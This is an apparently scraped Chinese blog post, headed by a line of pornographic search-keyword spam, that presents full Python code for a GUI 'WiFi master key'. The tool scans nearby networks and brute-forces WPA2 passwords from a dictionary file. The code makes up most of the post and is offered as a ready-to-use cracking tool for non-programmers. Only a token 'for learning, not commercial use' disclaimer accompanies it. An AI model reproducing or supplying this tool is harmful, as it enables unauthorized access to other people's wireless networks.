日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

Python3,WIFI 万(破) 能 (解) 钥 (神) 匙 (器)的 GUI版本来了,果断收藏。

發布時間:2024/3/12 python 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Python3,WIFI 万(破) 能 (解) 钥 (神) 匙 (器)的 GUI版本来了,果断收藏。 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

WIFI萬能鑰匙GUI版本

  • 1、引言
  • 2、代碼實戰
  • 3、總結

1、引言

小屌絲:魚哥, 上次你寫的wifi破解神器,雖然好用,但是沒有GUI界面啊。
小魚:… 你還想要GUI界面版的?
小屌絲:對啊,GUI版的使用起來會很方便的。
小魚:這真的是吃人嘴短,拿人手短…
小屌絲:魚哥,我都沒往那快想…
小魚:拉倒吧… 我還不知道你呢。給我幾分鐘,我來寫一個GUI版本的。

2、代碼實戰

上一篇,小魚寫了非GUI版本的萬能鑰匙,反饋還不錯。

Python3,10分鐘寫了一個WIFI 萬(破) 能 (解) 鑰 (神) 匙 (器),YYDS。

但是,也有同學私信我說,能不能搞一個GUI版本的,畢竟有很多人不會使用非GUI模式的。
這沒毛病, 今天小魚就來擼一個GUI版本的wifi萬能鑰匙,但是,
在這里,小魚強調兩點:

  • wifi萬能鑰匙不能用于商用,僅供學習使用
  • 如果商用出現任何不好影響,都跟小魚無關

這里我們基于Tkinter庫進行開發。
話不多說,老規矩,直接上代碼。

代碼展示

# -*- coding:utf-8 -*- # @Time : 2022-09-04 # @Author : Carl_DJfrom tkinter import * import pywifi from pywifi import const import time import tkinter.filedialog # 在Gui中打開文件瀏覽 import tkinter.messagebox # 打開tkiner的消息提醒框class WIFI_GUI():def __init__(self, init_window_name):self.init_window_name = init_window_name# 密碼文件路徑self.get_value = StringVar() # 設置可變內容# 獲取破解wifi賬號self.get_wifi_value = StringVar()# 獲取wifi密碼self.get_wifimm_value = StringVar()# 抓取網卡接口self.wifi = pywifi.PyWiFi()# 抓取第一個無線網卡self.iface = self.wifi.interfaces()[0]# 測試鏈接斷開所有鏈接self.iface.disconnect()time.sleep(1) # 休眠1秒# 測試網卡是否屬于斷開狀態assert self.iface.status() in \[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]def __str__(self):# 自動會調用的函數,返回自身的網卡return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())# 設置窗口def set_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200')labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下對象都是對于labelframe中添加的labelframe.grid(column=0, row=0, padx=10, pady=10)self.search = Button(labelframe, text="搜索附近WiFi", command=self.scan_wifi_list).grid(column=0, row=0)self.pojie = Button(labelframe, text="開始破解", command=self.readPassWord).grid(column=1, row=0)self.label = Label(labelframe, text="目錄路徑:").grid(column=0, row=1)self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file).grid(column=2, row=1)self.wifi_text = Label(labelframe, text="WiFi賬號:").grid(column=0, row=2)self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)self.wifi_mm_text = Label(labelframe, text="WiFi密碼:").grid(column=2, row=2)self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)# 定義樹形結構與滾動條self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)self.wifi_tree.configure(yscrollcommand=self.vbar.set)# 表格的標題self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center")self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal")self.wifi_tree.grid(row=4, column=0, sticky=NSEW)self.wifi_tree.bind("<Double-1>", self.onDBClick)self.vbar.grid(row=4, column=1, sticky=NS)# 搜索wifidef scan_wifi_list(self): # 掃描周圍wifi列表# 開始掃描print("^_^ 開始掃描附近wifi...")self.iface.scan()time.sleep(15)# 在若干秒后獲取掃描結果scanres = self.iface.scan_results()# 統計附近被發現的熱點數量nums = len(scanres)print("數量: %s" % (nums))# 實際數據self.show_scan_wifi_list(scanres)return scanres# 顯示wifi列表def show_scan_wifi_list(self, scans_res):for index, wifi_info in enumerate(scans_res):self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))# 添加密碼文件目錄def add_mm_file(self):self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)# Treeview綁定事件def onDBClick(self, event):self.sels = event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])# 讀取密碼字典,進行匹配def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander = open(self.getFilePath, "r", errors="ignore")while True:try:self.pwdStr = pwdfilehander.readline()if not self.pwdStr:breakself.bool1 = self.connect(self.pwdStr, self.get_wifissid)if self.bool1:self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "[*] 密碼錯誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr)print(self.res)time.sleep(3)except:continue# 對wifi和密碼進行匹配def connect(self, pwd_Str, wifi_ssid):# 創建wifi鏈接文件self.profile = pywifi.Profile()# wifi名稱self.profile.ssid = wifi_ssid self.profile.auth = const.AUTH_ALG_OPEN # wifi加密算法self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元self.profile.cipher = const.CIPHER_TYPE_CCMP # 密碼 self.profile.key = pwd_Str # 刪除所有的wifi文件self.iface.remove_all_network_profiles() # 設定新的鏈接文件self.tmp_profile = self.iface.add_network_profile(self.profile) self.iface.connect(self.tmp_profile) time.sleep(5)# 判斷是否連接wifiif self.iface.status() == const.IFACE_CONNECTED: isOK = Trueelse:isOK = False# 斷開連接self.iface.disconnect() time.sleep(1)# 檢查斷開狀態assert self.iface.status() in \[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK#啟動GUI窗口 def gui_start():init_window = Tk()ui = WIFI_GUI(init_window)print(ui)ui.set_init_window()init_window.mainloop()#執行 if __name__ == "__main__":gui_start()

運行結果

小屌絲:這個可以,可以,非常可以,太可以了~ ~
小魚:嗯,這個符合你的"胃口"了?
小屌絲:魚哥,那必須的, 待會我準備準備,咱倆擼串去。
小魚:額… 今天…沒…空…

3、總結

看到這里, 今天的內容就差不多該結束了。
回想一下,關于WIFI萬能鑰匙, 小魚總共寫了兩篇博文:

  • Python3,10分鐘寫了一個WIFI 萬(破) 能 (解) 鑰 (神) 匙 (器),YYDS。
  • Python3,WIFI 萬(破) 能 (解) 鑰 (神) 匙 (器)的 GUI版本來了,果斷收藏。

針對第一篇,是非GUI版本,更適合擼碼人調試使用, 不需要華麗的外表,直接運行代碼就完事;
針對第二篇,是GUI版本,即即使沒開發經驗的同學,也能使用;

當然,小魚還是要嘮叨一下,
在這里,就是最純粹的技術語言,切勿商用

我是小魚

  • CSDN博客專家
  • 51Testing認證講師

關注我,帶你學習更多更專業更有趣的Python知識。

總結

以上是生活随笔為你收集整理的Python3,WIFI 万(破) 能 (解) 钥 (神) 匙 (器)的 GUI版本来了,果断收藏。的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。